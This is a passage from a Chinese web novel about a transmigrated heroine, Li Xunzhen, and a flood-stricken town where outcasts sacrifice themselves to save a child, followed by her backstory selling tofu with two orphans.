因此，李寻真在混乱的小巷里留下了手脚尽断的赌徒，在小镇外无人的野庙里留下了哀嚎求饶的地痞，在远离人群的荒凉野树下留下了脑浆迸裂的山匪。 最后，李寻真并没有去京城，也没有去青江城，而只是来到了无名小镇外不远处的山上，坐在那茂密的树冠顶上，看着脚下大地的众生万象，不知道在想些什么。 颜辞云试着去猜测她的想法，觉得自己或许知道她在想什么，比如那些至善至恶的人性，那些明明同根而生，却又站在善恶两面的人。 不过，说到底，这也只是颜辞云以为的想法罢了。 但每个人都是一座孤岛，感同身受其实并不存在，没有人会完全了解另一个人。 因此，颜辞云也只不过是看着罢了。 颜辞云看着李寻真，李寻真看着自己身下的人间与日升日落。 当日月完成了第一次交替时，山下的那座无名小镇已经空了大半。 无论是那些曾经涌入小镇寻求帮助的村民，还是原本居住在镇上的人们，都在茫然与恐惧中离开了，去往了最近的城市，又或者与李寻真借口的那样，跟随镇上的商队直接去往了京城。 与此同时，大地上不知何时涌出了一层薄薄的浊水。 它们并不是从天上的雨云里落下的，也不是从湍急的河流中涌出的，而似乎是从极深极深的地底一点点漫处，一点点上升。 无论山上山下，都是如此。 甚至当人站在山顶的岩石表面时，他们都能看到那污浊不堪的浑水从石头下溢出，一滴一滴凝聚，一层一层滚落，最后在山谷底部汇聚成黑红色的液体。 无声且骇人！ 这样不同寻常的景象，无疑令凡间的人们感到极度恐惧。 因此，那些被恐惧驱使着逃离了家乡的人们，也并不敢在山下那座地势不高的小镇多做停留，最多是路过小镇时闯入镇上的空屋子里，随手卷挟一些原主人离开时没来得及带走的物资后，便也匆匆离开。 第三天，不详的黑红液体终于入侵了小镇。 小镇里那些原本地势就比较低的屋子，如今已经不能住人了，因此那些想要离开又无处可去的人，如孤儿、乞丐、走失的孩子、被抛下的残疾人，等，不得不从他们老鼠一样的窝里小心翼翼地搬了出来。 事实上，说他们住的地方是“老鼠窝”是半点没错的。 因为在这天崩的短短几天里，这座无名小镇其实已经遭到了数波路人的数次洗劫。 可这些洗劫的人竟完全没有发现这些人的存在——就连李寻真都没有。 而如今，这些如老鼠一样在阴影里苟延残喘的人，也不得不来到了阳光下，只可惜等待他们的并不是什么美好而值得期待的未来，而是步步紧逼的灾难。 因此，几乎就在他们出现的一个时辰后，他们就似乎结成了短暂的同盟，相互搀扶着、蹒跚着向小镇外最近的山上走去。 他们其实不知道未来会如何，不知道这不详的黑水究竟会上升到何等高度。 而他们其实也并不是没有远见、不懂得离开这里去往更高的地方或者更好的城市里避难。 可问题是，怎么去？ 光靠两条腿——甚至可能连腿都没有——如何能走到最近的城池？ 就不怕饿死在半路上么？就不怕被恶人掳走当作两脚羊吃了么？ 而若说雇佣镖师、跟随商队。 一个一穷二白，以天为被以地为床、就连吃食都靠乞讨的人，如何让那些镖师商人们带上自己？ 是，对于那些高高在上的大人物而言，镖师和商人只不过是可以随手拿捏的下九流。 可他们甚至不能称为“下九流”，而只是一群披着人皮的野狗而已。 有底气的人才会谈未来，有未来的人才会谈远见，可对于他们这些朝不保夕的野狗、连果腹都困难的老鼠来说，所谓的“未来”和“远见”，简直就像是杞人忧天一样可笑。 所以，他们唯一能做的，便是去最近的山上，做最后的挣扎——能活着，当然好，可若就此死了，或许也没什么遗憾。 就此，这些如老鼠和野狗一样苟活着的人们，就这样蹒跚着、甚至是挣扎着爬上了小镇外的唯一一座山，也就是李寻真如今所在的那座山。 可李寻真并未去见他们。 李寻真在树上，他们在树下。 当他们刨了山上为数不多的兔子窝，扒了苦涩的野菜，用唯一的破瓦罐把它们捣成不堪入目的烂糊糊时，李寻真在树上看着。 当他们吃掉山上所有能吃的东西，渴到了极致，不得不咬牙去舔舐岩石表面上溢出的勉强不那么污浊的水滴时，李寻真依然在树上看着。 最后，当不详的黑水漫上山峰，而这些人也奄奄一息，走到了绝路，却依然挣扎着不肯死去时，李寻真终于从树上跃下，任那不详的黑水没过脚背。 她低头，看着这些身体泡在黑水中，肿胀如浮尸的垂死之人，问道： “事到如今，为何还不肯放弃？对于这个不公的世界，你为何如此眷恋？” 李寻真像是在问这些人，又像是一场自言自语。 因为她并没能从这些被饥饿和病痛消磨了所有生机的人们身上得到任何答案。 于是李寻真摇了摇头，转身离去。 然而就在李寻真转身的这一瞬间，一只手抓住了她的裙摆。 李寻真回身望去，便见到一个身形浮肿、脸上有着大片红色胎记以致于面目都看不清的女人，正用哀求的目光看她。 “求、求你……救、救她……” 女人竭力说着，但却已经没办法再做出任何一个多余的动作了。 但李寻真知道这个女人想要说什么。 她想要将她怀里的那个失水昏迷的孩子托付给她。 而与此同时，李寻真也知道这个孩子的来历，知道被这个女人保护着的孩子，其实并不是这个女人的亲子，甚至与这群仓皇逃到山上的“老鼠”“野狗”们没有任何关系。 那只是一个普通的，在逃难路上被家人抛弃了的女孩而已。 可李寻真也记得，在这些“老鼠”和“野狗”们一步步走向穷途末路时，他们仍然记得把最后一口吃的留给这个年纪最小的孩子。 为什么？ 李寻真不明白。 又或者说她不愿相信。 于是李寻真问道：“你想让我救她？” 女人艰难点头。 李寻真又道：“你难道不想让我救你？” 女人没有回答。 但李寻真从女人的眼睛里看到了对生的渴望。 是啊，如果能好好活着，谁会想死呢？ 可女人也知道，她不能对旁人恳求太多。 李寻真肯救下他们中的一个人，已经是天大的恩情了，她不能奢求李寻真救下两人、三人、所有人。 所以她只能恳求李寻真救下那个最小的、最有希望好好活下去的孩子。 她只是在那个孩子和她自己的性命之间选择了别人。 仅此而已。 “愚不可及。”李寻真漠然摇头，“每个人需要负责的生命，有且仅有自己而已。连自己的性命都不看重，却重视别人性命的人，不过是被虚假的责任、爱意，以及不知所谓的自我感动所裹挟而已。 “什么大爱无疆、牺牲奉献、高贵的灵魂，都只是那群高位者给你编织的谎言而已，如果你当了真，那世界就会在你失去所有后一遍遍告诉你，你之所以受此劫难，并不是因为你无私高尚，也不是因为你纯善爱人，而只是因为你命贱廉价，你活该有此一劫。 “所以，如今我再问你一次，你要救谁？” 女人脸上浮出奇异的表情，交织着悲戚与释然，看向自己怀里的孩子。 无声而坚决。 救她。 救年纪小的。 李寻真不悦皱眉，沉吟片刻，干脆抱起这个孩子，向山上还活着的人一个个问了过去。 “我可以救下你们之中的一个人，你们是选这个孩子，还是选你们自己？” 而结果也如同李寻真所料。 在生死面前，大部分人——或者说百分之九十九的人，都会选择自己。 是的，他们的确会把最后一口吃的让给孩子。 是的，他们的确心怀怜悯，带着一个拖油瓶逃难。 但这都是普通人的善，是有限度的善，是可以被绝大部分人所理解的善。 他们没有欠任何人，也没有欠这个孩子的。 所以当真的有一个生还的机会摆在面前时，他们有什么理由不选自己？ 可那个脸上有大片胎记的女人，以及李寻真最后询问的一个瘸腿瞎眼的老头，却选择了让孩子活。 李寻真不解，给两人渡了点神力，让他们至少有了说话的力气。之后，她又一次问道：“为什么？” 老头说，他已经活了五十多年了，而这五十多年里，他唯有前十年在父母膝下承欢时，过过好日子，而十岁之后，他便再未享过一日亲情，吃过一顿好饭。 那时候，他父母骤然离世，没有留下任何安排，因此他家的财物田地被宗族瓜分殆尽，只给他留了山脚的一间破草屋，没有被褥衣裳，没有锅碗粮食。 白日里，他为了填饱肚子跑遍宗族。可宗族里，富者不仁，不肯施舍他半口饭菜，穷者有心，却也无法顾他太多，于是他整日里都饿得头晕眼花，只能在小溪旁大口喝水，喝到吐，吐了又继续喝。 而到了夜里，他更是恐惧得睡不着觉，因为他那破草屋根本没什么能称得上“门”的东西，不过是用几根草几根树枝虚虚掩上罢了。可偏偏，他的屋子就在山脚，几乎是与山间的蛇虫鼠蚁和野兽为邻，倘若那些野兽一时兴起了，下山来逛逛，他难道还能靠草屋的树枝来抵御么？ 所以没多久，他便去了镇上，自买自身，成了大户人家的仆役，被分去了厨房，跟着厨房的一个老头打下手。 当别人家的奴婢，从来不是什么好事，生死荣辱系于主家之手不说，就连同为奴仆的“同伴”，也会为了保住自己手上那些从主家指缝里漏出的零星碎肉，而对他人发起凶悍的进攻。 而他就是这样，在还没摸清主家那一亩三分地的“权力划分”时，就不慎卷入了主家仆婢间的斗争，成了管家儿子的替罪羊，被打断一条腿戳瞎一只眼后，从主家后门丢了出去。 从那以后，他就在街头流浪。 他本以为自己很快就会死了，可偏偏，他一日日长大了，伤口结了痂，也慢慢有人会看他眼熟，便随手拿几个铜板托他跑腿带话，也算是给了他一个能挣钱活下去的路子。 之后，又过了几年，他的主家因卷入镇上县丞交接时的权力斗争而被新县丞暗地清算，最后闹得家破人亡。 而那些曾经害过他、让他去顶罪的“高等奴才”们，也在哭天抢地中被发配去了石场，年纪轻轻就死绝了。 唯有他，一年又一年地活了下来，竟活到了五十余岁。 他说：“如今，老儿我也活了五十多年，算是活够本了。我的一生，虽没有遇上什么值得一提的异事、提携我的贵人、推心置腹的好友、恩爱不离的婆娘，却也算是恩怨尽消，没有什么值得留恋的了。 “哪怕我得了生机，再继续活下去，也不过是继续当一个行将就木的老头子而已。 “所以，与其将活下去的机会浪费在老儿我这，还不如给这个小娃娃，让她至少也活到知晓她自己姓甚命谁的年纪……说不准，说不准，她日后还会有一番大造化呢！” 李寻真又看向那个带着胎记的女人。 女人说，她没有那个老人家那样坎坷传奇得像是话本故事里的主角的经历，她的故事很简单。 她出生时胎位不正，让她母亲哀嚎了两天三夜、临了快死时才好不容易生下的她，所以她母亲对她怨恨至极，记忆里从没有给过她一个好脸。 再加上她生来脸上就有大片丑陋胎记，连面目都几乎看不清楚，所以她幼时在家里活得人憎狗嫌。 因为丑，哪怕她从会走路起就要洗衣做饭，人还没扫帚高时就包揽了一整个家的家务，可每当她父母争吵时、受挫时、气恨时，第一个拿来出气的人却总是她。 也因为丑，哪怕她亲手带大了母亲后头生下的四个弟妹，一把屎一把尿地将他们拉扯大，不是母亲胜似母亲，可当他们第一次抵达镇上，发现镇上竟还有那么多新奇有趣的玩意儿后，他们依然轻易动心，主动要求父母把她这个大姐卖了换银钱。 “反正大姐那样丑，想要嫁出去换彩礼是不可能的，那我们为什么不把大姐卖给张老爷家当奴婢呢？不但有卖身钱，日后每月还有月钱呢！” “对呀对呀，奴婢丑点没关系，便宜点一定卖得出去的，而且大姐这样能干，日后月钱一定不少，这样一来，家里的褥子也能换了吗，我可讨厌死那套满是骚味的褥子了。” “大姐，你往日里那样疼我们，你一定会同意的吧？” “还有月钱，大姐，莫要忘了，发了第一个月的月钱后，可以定要记得给我买新衣呀！” 或许是因为太震惊、太痛苦了，女人竟然记得那一天自己四个好弟妹口中说出的每一句话。 那天晚上，女人辗转反侧，怎么都睡不着，最后她起身，接着月光审视灰扑扑的屋子。 她突然发现，这个自她记事起就一直被她操持的院子，原来并不大。 她曾经累得腰都断了才扫完的院子，从这一头走到那一头，其实也就是三十四步；而她曾经一边哭一边以为怎么都割不完的猪草，如今再看，其实也只是小小一亩。 还有她曾经要在桌上再放一个凳子，才能踩着去擦的屋顶横梁，这时她已经伸手就能够到了，而那些曾对她汪汪吠叫着吓唬她的野狗，如今的她也早已能轻易将它们打得满地乱跑。 原来她已经长大了。 原来那些在她年幼时曾束缚她的、威吓她的、压迫她的阴影，早已经不知不觉中变得孱弱不堪。 于是那个晚上，她连夜离开了家，再没有回头。 对于常人来说，离家实在是一件再恐怖不过的事，那代表着她失去了遮风挡雨的庇护之所，那些在外头游荡的人也好鬼也好，都能上来啃她一口。 可对她来说，事情却截然相反。 旁人离家后，发现自己失去了遮风挡雨的庇护所，而她离家后才发现，屋子外根本没有风雨。 她长得丑，力气大，能吃苦，肯干活，所以她哪怕没有户籍，也找不到正经差事，只能与乞儿为伍，但却也过得不错，每日哪怕只是摘摘果子跑跑腿，也能养活自己了。 这样的日子，比她在家时饥一顿饱一顿还要整日干活时，还要过得更好，甚至都长肉了。 听到这里，李寻真越发不解。 “既然如此，为何你还是选了孩子？” 既然这个女人并非行将就木、觉得自己活够了本，也不是对世界充满失望的同时觉得自己也没有了未来和希望，那她为何要将生机让给这个孩子？ 女人说：“我也不知道。” 李寻真不信：“你真的不知道？” 女人说：“如果一定要一个理由，那大概是因为，她还是个孩子吧……孩子应该是被保护的，孩子应该是被选择的，她太像我了，所以我希望她能够不要那么像我。” “就因为这样，你就决定让她活？” “是的，就因为这样。” 李寻真沉默片刻，又说：“但如果她日后遗忘了你，或者怨恨你把她留在这个不堪的世界上呢？” 女人说：“那我也已经做了我该做的事。”顿了顿，女人补充道，“至少我对得起现在的我、过去的我，还有未来的我。” 这一刻，李寻真抱着怀里的孩子，有些恍惚。 似乎是在思考什么，又似乎陷入了什么回忆之中。 她抱着孩子，转身下山，就如同她答应女人的那样，要将这个孩子带走。 可离开前，李寻真又一次停步，转过身，向那个女人问道：“你可知这孩子叫什么名字？” 女人说：“她太小了，记不住自己的名字，我也不知。” “你也算她的救命恩人了，若你要给她取名字，你会叫她什么？” 女人说：“我倒是个粗人，从未认识过几个大字，不过前些日子还在镇上时，我听一个算命的老瞎子给隔壁村的娃子取了个名字，那名字听着可好了，若是可以，便给她用吧。” “什么名字？” “寻得真我，自在逍遥。”女人说，“而至于姓氏，便随我姓李好了，所以——李寻真，这便是她的名字。” 这一瞬间，好似有惊雷在颜辞云耳畔炸响。 颜辞云不可思议地看了看这个女人，又看了看身侧的李寻真。 可后者却像是早有预料一般，定定看着那个女人。 李寻真说：“我记下了。那么，此外，你还有什么话对她说么？” 女人又说：“若说旁的，我也没什么好说的，只是仙人，倘若这孩子日后真的活了下来，还请你告诉她，她小时候曾受过那么多人的恩，叫她永远莫要忘记自己的来处，莫要当一个坏人。 “这个世界固然很坏，恶人固然很多，但她却是因为遇见了一个又一个好人、甚至是遇见了仙人您这样的好人才活下来的，所以还请你告诉她，不要因为遇见了恶，就忘记了善，不要因为曾经被人辜负，就否定了过去的自己。 “因为她的存在，就是奇迹的本身啊。” 李寻真听着听着，笑了起来，眼中像是闪着点点星光。 “原来如此。”她的声音如此柔和，“原来这就是你想要告诉我的事吗？” “谢谢你，系统……谢谢你一直陪伴着我。” “我已经……全都明白了。” 这一瞬间，光芒骤放。 这个被预言中的天灾席卷的世界，在此刻竟像是一面被击碎的镜子般，在轰然巨响中寸寸碎裂。 而随着这个世界一同湮灭的，还有李寻真的身体，李寻真的记忆。 这一刻，李寻真是如此镇静、如此坦然地面对自己的消散。 与颜辞云第一次在魔宫时见到的那个歇斯底里满心怨恨的人截然不同，也与那个在魔族族地大开杀戒、杀得人头滚滚的妖女毒妇浑不相似，反而真的有几分“神女”的超脱意味。 颜辞云来不及像更多，眼疾手快地在系统脱离李寻真的身体前，一把捞过了这个奇怪的小家伙。 只不过与此同时，颜辞云也在这个过程中不可避免地触碰到了李寻真的记忆—— 一个真正的、没有颜辞云存在和插手过的李寻真的一生。 第138章 神女（一） 她的生命，果…… 就像倪静如就是倪静如，而并非什么穿越过来完成任务的任务者一样。 李寻真就是李寻真，身上也同样没有什么任务要做。 只不过，倪静如的确是个古代女人，而李寻真却有着现代的灵魂。并且，李寻真也的确穿书了，穿到一个与主角团八竿子打不着的无名小镇里，成为了一个普普通通的农女。 在李寻真六岁之前，她其实过得不太好。 或者说，在享受过现代的娱乐和便利后，再穿越到古代的农家里，任哪个现代人都不会觉得自己过得很好的。 但李寻真也很知足。 哪怕那户人家重男轻女，给儿子取名耀祖女儿只叫某丫；哪怕她身上的衣服全都捡着前头姐姐们穿不了的，衣裳薄得一扯就破；哪怕她一年到头都沾不上多少荤腥，偷偷吃个自己喂养的母鸡下的蛋都会被奶奶追打跑遍整个村子听她大着嗓门数落她一整天，但李寻真依然很知足。 她想，自己其实还是幸运的。 因为，虽然自己投生的这户人家很穷，但至少每个人都有属于自己的衣服穿，不必像村尾的那户人家一样，一条裤子一家三兄弟轮着穿，平日里谁要出门谁穿裤子。 虽然，这户人家重男轻女，从大丫叫到六丫没一个是有自己名字的，但至少姐姐们都很好，都很护着她这个最小的妹妹，出嫁的大姐回来时会偷偷给她带糖，二姐三姐下地干活从不让她沾手，四姐去大户人家做了奴婢，让人捎月银回家时总会记得额外给她一串糖葫芦、一方手帕、一点小玩意儿，五姐去城里当绣娘学徒后，有好吃的总记得她一份，甚至还会主动教她要如何绣花。 而这一世的娘亲，她虽然总是唯唯诺诺，有什么好东西也总紧着家里唯一的男丁用，平日里大部分时间都摆着一副苦瓜脸，劝说她性格不要太过争强好胜，劝她要和耀祖好好打好关系才能在日后和婆家起冲突的时候有弟弟撑腰，之类之类让李寻真翻白眼的话。 可在这一世的父亲喝了两滴马尿就发人来疯时，她也会像发狂的母兽一样冲过来保护她这个小女儿。 还有那个叫耀祖的小鬼头，也只是普通的讨人厌、普通的不懂事而已，撸袖子揍几顿后就懂得乖乖同她绕路走了，倒也没真的做过什么伤天害理的坏事、说过什么狂悖恶毒的坏话。 甚至那个因她偷吃了一个鸡蛋就勃然大怒追打她跑过整个村子的奶奶，在开饭的时候也从来没有少往她碗里舀过一勺黍米稀饭，在她被外头婶子说嘴占便宜的时候会一边扯着她耳朵骂她蠢笨无用一边骂上门去给她讨回公道。 ——已经很好了不是吗。 李寻真这样告诉自己。 谁在打工猝死后还能在一个新世界重活一世？ 谁在重生为古代农家女后能遇到嘴瘾心软的奶奶、怜爱孩子的母亲，还有这么多用心保护着自己的姐姐？ 而这些，不就是普通人的生活和普通人的家人，以及作为普通人的自己吗？ 所以，足够了。 她已经很幸运了，她也已经很知足了。 也正因为这份知足，当前所未有的大雨让江流的高度节节攀升，整个村子都在族老的带领下踏上逃难之路后，走到半路的李寻真看着包袱里一天比一天少的干粮和越来越瘦的老驴，又偷听到这一世的生父正偷偷劝母亲把其中一个孩子丢下时，她看着自己身边面黄肌瘦的姐姐们，只用了一个白天思考，就在晚上偷偷离开了队伍。 李寻真觉得，自己果然不是一个足够高尚的人，她实在没有用这一世的血肉去回报那些对她好的人的觉悟，也没法让她们能够吃上一顿饱饭。 但至少，她可以把生路让给她们。 哪怕这条生路也极其渺茫，但这也已经是如今还年幼的她能做到的最大程度了。 在离开的那个晚上，李寻真没有难过。 因为她总是很知足。 她想，自己已经活过了一世，而且是在资源那样富足的现代活过了一世，这已经很幸运了，而她这一世的姐姐们，却是真的第一次来到人间。 她们的生命应该有更多的长度和广度，她们不该在这样的年纪就被家人抛下，绝望地死在荒野里——这样的结局对她们而言是多么残酷啊！ 所以，如果家里一定要丢下什么人，那这个人或许可以是她……不，应该是她！ 就这样，李寻真默默离开了逃难的队伍，登上了最近的一座山，看着逃难队伍的远去，看着远处的洪水如死亡一步步逼近。 但出乎意料的是，李寻真竟然在这里遇上了和她一样或主动或被动没有去逃难的人们。 原本李寻真对这些人是十分警惕的，因为李寻真并不是真的孩子，她知道在绝境面前人性究竟可以又多么可怕和脆弱，而她也很明白“易子而食”和“两脚羊”的典故，知道自己在这些人面前或许根本不算人，而只是送上门的肉。 ——她如今虽然不抱有对生的希望了，却也没打算成为别人的盘中餐啊！ 可又一次出乎意料的是，这些人或许算不上多么友善，但也算不上多么凶恶，虽然大部分人大部分时间里他们对李寻真都是视若无睹的状态，但有时候也会有一些好心人看在她年纪小的份上，主动分她两口吃的。 李寻真先是警惕，而后是茫然、困惑。 她不懂，为什么在这样的情况下，她依然能够遇到好心人。 那些在史书和小说里一遍遍描绘的绝望的人性、残酷的考验什么，好像一直都很少叫她遇见。 李寻真想不明白，便也不想了，而是帮助这些好心人做起了一些自己力所能及的事来。 有个施舍过她半块饼的瘸子，因越发潮湿的气候而腿疼得厉害，几乎站不起身来，李寻真便请教了这群人里年纪最长的老人家，认了几种关键草药，在山上来回跑了几圈，勉强找齐了，用手用牙弄成糊糊，给那瘸子敷上。 因感激那个老人家的指点之恩，李寻真想要为老眼昏花的老人家做一根盲杖，但自己年幼没有力气，于是去求了一个脸上有大片红色胎记但模样十分高壮的女人。 那女人爽快应下，帮李寻真做了一个轻便的盲杖来，于是为了报答这个女人的感慨相助，李寻真又央一个在山上坐不住的人去找了些合适的鹅卵石，好教这个为水源苦恼的女人如何滤出更干净的水来。 之后为了报答那个寻找鹅卵石的男人，李寻真又…… 就这样，李寻真和这些人一个接一个地熟悉了，也知道了他们每一个人的故事，知道他们都是在洪水来临前被抛弃而自愿上山等死的可怜人，是被世人定义的失败者。 但是，奇妙的是，或许正是因为他们习惯了失败、习惯了失去，甚至习惯了死亡，而从来没有“无论如何都要达成目的”的强烈“进取心”，他们才会在这样的绝境里依然保留着几分人性。 纵浪大化中，不喜亦不惧。应尽便须尽，无复独多虑。 多稀奇啊，那些文人士子们追求的从容和坦荡、气节和风骨，她如今竟然在这样一群大字不识天残地缺的“失败者”们身上见到了。 李寻真想，她或许自始至终都是一个幸运的人。 瞧，她既没有把生命的最后一段旅途耗费在无望的逃难上，也没有在人性的考验中与这一世的家人决裂、见识到彼此最丑恶的面目，甚至她还遇见了这样的一群好人，在生命的最后时刻与这些好人彼此依偎，坦然面对死亡的脚步。 这如何不是幸运呢？ 她很知足了。 她这一生里，得到的真的已经足够多了。 抱着这样的想法，李寻真坦然看着远处浩浩汤汤的洪水一天高过一天、一天近过一天。 而随着那洪水的逼近，这些原本心态还算平稳的“失败者”们，哪怕早已经做好了在这场洪水中死去的准备，却也在这步步逼近的死亡之音下变得暴躁无常了起来。 有时候，他们会因为一句普普通通的话就如野兽一样凶狠地厮打起来，有时候，他们会突然吵架，又突然疯狂地大喊大叫起来，而有时候，他们也会在夜深的黑暗里偷偷啜泣后，离开人群，去一个谁都找不到的山洞里独自等死。 而每到这样的时刻，李寻真都会静静看着，直到他们冷静下来后，再默默做自己白天没能做完的事。 给瘸子的腿换药，帮牙口不好的老人把干硬的饼子揉碎，用竹筒收集滤好的水分给大家，小心保存好摇摇欲坠的火星。 是的，她和他们马上就会死去。 或许是明天，或许是后天。 但人总要过好今天的，不是吗？ 就这样，李寻真一天一天地过着，一天一天地等着。 而不知道什么时候，这些人也慢慢平静了下来，彻底接受了死亡的结局，甚至一些人还会与她一块儿坐在山顶大石上，看着那越发逼近的大水，笑着问她：娃娃，你马上就要同我们一块儿死了，你不怕吗？对了，你可知晓什么是“死”？ 李寻真笑着摇了摇头，没有回答。 她想，这有什么好怕的呢？ 她能够活到现在，已经是一个又一个奇迹汇聚的结果了。是奇迹让她投胎转生，重活一世；是奇迹让她生于农家，也没有受到太多苦难；同样还是奇迹，让她在逃难的过程里也遇上了这样多的好人。 一个人在一生里，能遇上这样多的奇迹，是多么不可思议的事啊！ 如此，她还有什么不知足的呢？ 李寻真认真地活着，安静地等着，直到某一天，那大水终于爬上了山顶，而彻底失去了食物来源后，李寻真作为孩子，自然是第一个倒下的。 在倒下的那一刻，李寻真想，或许，这就是结束了吧？ 还好还好，这样的经历没有折磨自己太久。 可出乎意料的是，不知道过了多久后，她竟然又一次醒了过来。 在一个新的城镇、新的院子里。 她没有二次穿越，她只是被人救了。 救她的，是一个路过人间的仙人，而那仙人会救她，是因为当他路过山洪之地时，心有触动，感到某地有一股强大的愿力。 而当他循迹而前时，便见到茫茫洪涛中，有一个女人攀在最高的树上，明明自己已经气息断绝了，手里却还死死向上托举着一个奄奄一息的孩子，如同惊涛骇浪中一座摇摇欲坠却又始终屹立不倒的石像。 仙人在这一瞬间被这样的一幕深深震撼了。 仙人不知道，这个女人以一介凡人之躯，是如何带着一个孩子爬上那么高的树的，也不知道那女人是如何在死了后还能托着李寻真，不叫洪水将她淹没的。 仙人只是心生怜悯，接过了李寻真，将这个始终被托举向上的孩子带到了万里之遥一座没有被洪水淹没的凡人城镇上，雇了个妇人来照顾她，告诉了妇人这个故事后，便杳无踪迹了。 那妇人瞧着李寻真，怜悯道：“孩子，你莫怕，虽然你的娘亲死了，但她那样护着你，定是十分疼爱你的，我们这边没有水患，你不如就这样安心留下罢，倘若你愿意的话，我收你为义女，可好？” 李寻真怔怔听着，没有告诉这个妇人，那个托着她的女人并非她的娘亲。 而李寻真也知晓，那位脸上有着大片胎记的姐姐，想必是在山上无数好心人的帮助下，才终于带着她这个拖油瓶，一点点爬到了最高的树上。 那所有的人们，竟把他们所有的、最后的生机，留给了她这个素昧平生的孩子。 所以，瞧啊，总是能够遇上好心人、遇上奇迹的自己，如何不是幸运的呢？ 她的生命，如何不是由一个又一个奇迹汇聚而成的？ 而拥有着这样一份幸运、遇见了这么多好心人的她，又如何还能去怨怼上苍，而不是去感激命运对自己的仁慈怜悯呢？ 所以，数月后，当李寻真勉强养好了身体，不愿赖在妇人家白吃白喝，而准备出门找个差事养活自己的李寻真，意外撞见了两个相依为命的乞儿时，她想，总是被幸运和奇迹眷顾的自己，或许也是时候将这份幸运和眷顾传递出去了。 而唯有将这份善意传递出去，善良才能生生不息。 而唯有善良生生不息，才能让所有给予过她奇迹的人不后悔当初赠出的那份善意，不是吗？ 于是，李寻真把自己今日带出准备吃一天的饼分成三份，自己留一份，两个乞儿一人一份。 而等待他们狼吞虎咽地吃完后，李寻真笑眯眯道：“你们要来跟我干活吗？可能没法给你们找到稳定的住所，但是吃饱肚子应该还是没问题的。” 两个看不清面目的乞儿对视一眼后，大喜过望，连连应声：“好，好，好，我们愿意的，我们当然愿意！” 李寻真越发欣慰，笑道：“既然如此，你们明天早上就来槐花胡同里找我吧，我住在最高那颗树下的刘大娘家。对了，我叫李寻真，你们叫什么？” 两个乞儿又是对视一眼。 其中一个像是害羞般，小声说道：“我叫狗儿，没有大名。” 另一个声音甜甜的，叽叽喳喳道：“我也没有名字，大家都叫我丫头，但我喜欢那枝上的黄莺儿，所以姐姐便叫我小莺儿吧。” 李寻真爽快道：“好啊，日后我就你狗子，叫你莺儿了！记住了，明日来找我哦，我带你们去找活干。我已经有头绪了，相信我，我们以后一定会越过越好的！” 当时乐观放出豪言的李寻真并不知道，这两个灰头土脸的乞儿，竟就是日后大名鼎鼎的仙帝道侣宋茵茵，和魔族少主帝昭。 所以她也不知道，自己一生的悲剧，正是从识得了这两个人开始。 第139章 神女（二） 在心中饲养着…… 自那之后，李寻真便与狗儿和莺儿相依为命，度过了七个春秋。 在三人齐聚的第一年，李寻真实现了自己的承诺，那就是带着两个被抛弃的孤儿自食其力，找到了生命的出路。 这个过程无疑是很苦的，因为李寻真虽然不是孤儿，却也同孤儿没什么区别，手上没有任何能利用的筹码，况且她在现代是个手无缚鸡之力的文科生，既不懂得怎么起窑烧玻璃，也不会做大炮配火药。 而至于说穿越者都会做的肥皂——事实上在分离甘油的技术出现前，肥皂的配方始终离不开两样事物，即碱和油脂。 碱就是草木灰，古代不缺这个，可关键是，油脂从何而来？ 这年头，哪怕是万物之灵的人类，身上都没有几两油，一个区区孤女，还想要搞到海量的油脂做肥皂？可真是异想天开！ 所以，李寻真只能用最笨的办法来养活自己，那就是卖豆腐。 俗话说，古代有三苦，撑船打铁磨豆腐。 传统豆腐的制作工序繁琐，需浸泡豆子、推磨磨浆、滤渣、煮浆、点卤、压制成型，耗时费力，往往是凌晨就要起床劳作，赶上早市，回来后囫囵睡几个小时，便又要睁眼继续工作。 这样的工作全年无休就罢了，关键是收入也十分微薄，制作环境更是潮湿闷热，对健康损害不小。 可作为孤女，能有法子养活自己就不错了，那里还容得挑三拣四？ 因此，李寻真同刘大娘借了一点儿基础器皿和一点儿钱财，买了些豆子，而后又租用了刘大娘家的驴，去镇外头大家公用的石磨处磨豆子。 之后，一切有条不紊。 滤渣、煮浆、点卤、压制、售卖。 李寻真和狗儿莺儿三人分工合作，在刘大娘的帮衬下，在镇上支起了一个不起眼的小摊，艰难地赚取那仅供糊口的利润。 年底，忙碌了一年的李寻真三人，终于还清了从刘大娘处借的钱，把自己和狗儿莺儿都养得稍稍胖了些，甚至攒下了几串铜钱。 在那一年到头难得歇息的几天里，三人缩在同一个被窝里，用单薄的被褥盖着脑袋，也盖着正中间放着的铜板，一遍遍数着，喜滋滋地想什么时候才能买一头属于她们自己的驴。 而当镇上的张员外放起过年的烟花，绚丽的花火漫天绽放时，满镇人都挤在街头，一边艳羡一边蹭着这一束束燃放的火光。 李寻真笑着转头，问狗儿和莺儿有没有什么新年愿望。 狗儿依然是有些害羞的模样，说道：“我觉得，李姐姐太辛苦了，所以我的愿望是……希望来年的自己能快快长大，多帮李姐姐分担一些！” 李寻真和狗儿、莺儿三人，说是合力摆摊卖豆腐，但其实许多工作都是李寻真独自包揽的。 因为李寻真自觉自己是个假小孩，而狗儿莺儿两人却是真的孩子，所以在日常生活里，李寻真只将一些轻便的、好完成的工作交予了两人，自己则负责了一些繁琐的、沉重的事务。 李寻真从没有开口主动诉说自己的这些辛苦，可狗儿却注意到了她的每一分付出，这叫她如何不欣慰呢？ 一旁，莺儿也是格外懂事乖巧，说道：“我的愿望是希望来年我们的生意会更好，不但要攒钱买下一头驴，至少还要有买下一件磨的钱，这样一来，真儿姐姐就不用每日起那样早，去镇外磨豆子啦！” 这一刻，李寻真心中格外熨帖。 是的，她的付出和善意，从一开始就不是为了得到回报，可如果这份善意真的有回报的话，那该是多么开心的事啊！ 于是，在这样灿烂的烟花下，李寻真也许下愿望。 她希望，她那些不知身在何处的家人们——无论是现代的还是古代的——都身体康健，无病无灾难。 她希望，大家的日子能够蒸蒸日上，每一天都能好过上一天，重要的人都在身边，家人和友人永不分离。 她愿，年年有今日，岁岁有今朝。 那一年，大家的生活都很艰难，愿望都很渺小，但李寻真却开心笑着，觉得幸福触手可及。 但，在李寻真卖豆腐的第三年，也就是李寻真八岁的那一年，变故发生了。 那是一个寻常的日子、寻常的夜晚。 凌晨时分，勉强休息了几个时辰的李寻真起来了，拿出白日狗儿和莺儿辛苦过滤好的豆浆，准备煮浆。 可就在李寻真生火时，一个受过李寻真恩惠的流浪儿从后门偷偷溜了进来，告诉李寻真，说他白日路过某条胡同时，听到了赖皮李对她们的阴谋谋算，打算在这两天的早市上碰瓷，要趁机砸了她们的摊子，最好把李寻真赶出镇子。 